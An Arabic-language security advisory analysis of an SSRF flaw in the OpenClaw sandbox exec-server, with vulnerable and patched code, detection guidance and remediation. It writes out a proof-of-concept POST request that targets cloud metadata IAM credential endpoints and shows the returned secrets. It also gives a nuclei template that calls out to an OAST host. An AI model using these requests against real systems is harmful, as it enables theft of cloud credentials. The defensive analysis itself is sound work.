
تحليل متعمق لـ CVE-2026-62201: تجاوز سياسة الشبكة في صندوق الحماية OpenClaw exec-server (SSRF). السبب الجذري، الكود القابل للاستغلال مقابل الكود المُصحح، الاستغلال، الاكتشاف، والمعالجة.
| الحقل | القيمة |
|---|
| الاستشارة الأمنية | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| المنتج | OpenClaw (حزمة npm openclaw) — مكوّن exec-server في بيئة العزل |
| الإصدارات المتأثرة | openclaw < 2026.6.6 |
| الإصدار المُصحَّح | 2026.6.6 والإصدارات الأحدث |
| السبب الجذري | غياب التحقق من SSRF في مساعد HTTP المدمج في exec-server (SANDBOX_HTTP_REQUEST_SCRIPT) |
| الالتزام المُصحِّح | 21410d1c — "fix(codex): guard sandbox http requests" |
| ناقل الهجوم | طلب HTTP POST إلى معالج http/request في exec-server مع عنوان URL يتحكم به المهاجم |
| الأثر | يمكن لمستدعٍ بصلاحيات منخفضة الوصول إلى وجهات الشبكة الداخلية (بيانات السحابة الوصفية، عناوين IP الخاصة، خدمات localhost) التي كان ينبغي لسياسة شبكة OpenClaw حظرها |
OpenClaw هي منصة وكلاء ذكاء اصطناعي يعرض فيها مكوّن exec-server في بيئة العزل مساعد طلبات HTTP يستخدمه الوكلاء لإجراء استدعاءات ويب صادرة. الإصدارات السابقة لـ 2026.6.6 صدرت مع هذا المساعد بدون أي حماية من SSRF: يمكن لمستدعٍ بثقة أقل — أي وكيل أو أداة أو مسار إدخال تعتبره المنصة أقل ثقة من مشغّل البوابة — إرسال عنوان URL عشوائي وجعل exec-server يجلبه من داخل شبكة المضيف.
فحوصات سياسة الشبكة المطبَّقة على الخروج المباشر من بيئة العزل لم تكن مطبَّقة عندما تمر الطلبات عبر واجهة HTTP الخاصة بـ exec-server. هذا التناقض هو الثغرة: عمل exec-server كوكيل HTTP غير مقيد إلى الشبكة الداخلية.
عندما يشغّل OpenClaw وكيل Codex في بيئة عزل، يبدأ خادم exec-server محليًا (extensions/codex/src/app-server/sandbox-exec-server.ts) يستضيف طرق JSON-RPC عبر ناقل WebSocket/HTTP. إحدى تلك الطرق، http/request، تتيح للوكيل جلب عناوين URL. يمرر التنفيذ الطلب عبر سكربت Python مدمج صغير — SANDBOX_HTTP_REQUEST_SCRIPT — الذي يقوم بعمل urllib الفعلي.
معالج الطلب موجود في extensions/codex/src/app-server/sandbox-exec-server/http.ts.
استلم مساعد Python عنوان URL وفحص المخطط فقط:
# From [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (abridged)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
هذه هي البوابة بأكملها. لم يكن هناك:
localhost, *.internal, metadata.google.internal …)http://169.254.169.254/ كانت تُتبع بشكل أعمىالنتيجة: {"method":"GET","url":"http://<internal-host>/"} أعادت نص الاستجابة الداخلية إلى المستدعي. كان exec-server وكيلًا مفتوحًا إلى شبكة المضيف.
أضاف الالتزام 21410d1c دفاعًا متعمقًا على الطبقتين:
الطبقة 1 — فحص مسبق في TypeScript (assertSandboxHttpRequestTargetAllowed في http.ts):
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
الطبقة 2 — تقوية مساعد Python (assert_url_allowed في السكربت المدمج):
localhost, localhost.localdomain, metadata.google.internal, بالإضافة إلى اللواحق *.localhost, *.local, *.internal169.254.169.254, 100.100.100.200, fd00:ec2::254100.64.0.0/10, قياس الأداء 198.18.0.0/15, التوثيق 2001:db8::/32, والمزيدipaddress: loopback, private, link-local, multicast, reserved, unspecifiedGuardedRedirectHandler: كل خطوة إعادة توجيه تعيد تشغيل assert_url_allowed قبل متابعتها::ffff:a.b.c.d), 6to4 (2002::/16), Teredo, وISATAP ويُفحص عنوان IPv4 المضمّن فيهاdef assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6 مع تمكين exec-server في بيئة العزلhttp/request (تعامل المنصة هذا كوصول بصلاحيات منخفضة — مثل إضافة أو أداة أو مسار إدخال، وليس مشغّل بوابة)الخطوة 1 — إرسال طلب يستهدف خدمة داخلية:
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
الخطوة 2 — الاستجابة القابلة للاستغلال (HTTP 200):
جلب exec-server عنوان URL الداخلي وأعاد النص إلى المستدعي — ملفوفًا بـ base64 كـ bodyBase64:
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
بعد فك الترميز:
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
الخطوة 3 — الاستجابة بعد التصحيح (HTTP 502):
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
الوجهة الداخلية غير قابلة للوصول عبر exec-server في الإصدارات المُصحَّحة.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → بيانات اعتماد IAMhttp://127.0.0.1:<port>/ لاستهداف واجهات إدارة غير مصادق عليها في نفس المضيفCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 عالية
تأطير الاستشارة مهم: نموذج المشغّل الموثوق في OpenClaw يفترض أن مشغّلي البوابة موثوقون. الخلل هو أن سطحًا بثقة أقل (إضافات، أدوات، مسارات إدخال) يمكنه الوصول إلى وجهات كان ينبغي للسياسة حظرها.
قالب اكتشاف متاح — يعتمد على OAST، ولا يتطلب معرفة مسبقة بالطوبولوجيا الداخلية:
http:
- raw:
- |
POST /exec/http HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "bodyBase64"
مُقدَّم إلى المستودع الرئيسي: projectdiscovery/nuclei-templates#17183
/exec/http (أو ما يعادله عبر WebSocket JSON-RPC) يحتوي جسم JSON فيها على حقل url يشير إلى وجهات خاصة/داخلية169.254.169.254, 100.100.100.200)npm install [email protected] (أو أحدث). يضيف الإصلاح تحققًا كاملًا من SSRF عند كل من حدود TS وداخل مساعد Python.2026.6.6أُجري هذا البحث على بيانات ثغرات مُعلنة علنًا وبرمجيات منشورة في مختبر معزول. لا توجد أنظمة إنتاج حية أو شبكات طرف ثالث أو أبحاث zero-day متضمنة. جميع أدوات إثبات المفهوم (PoCs) المستخدمة هنا هي طلبات قراءة فقط غير ضارة.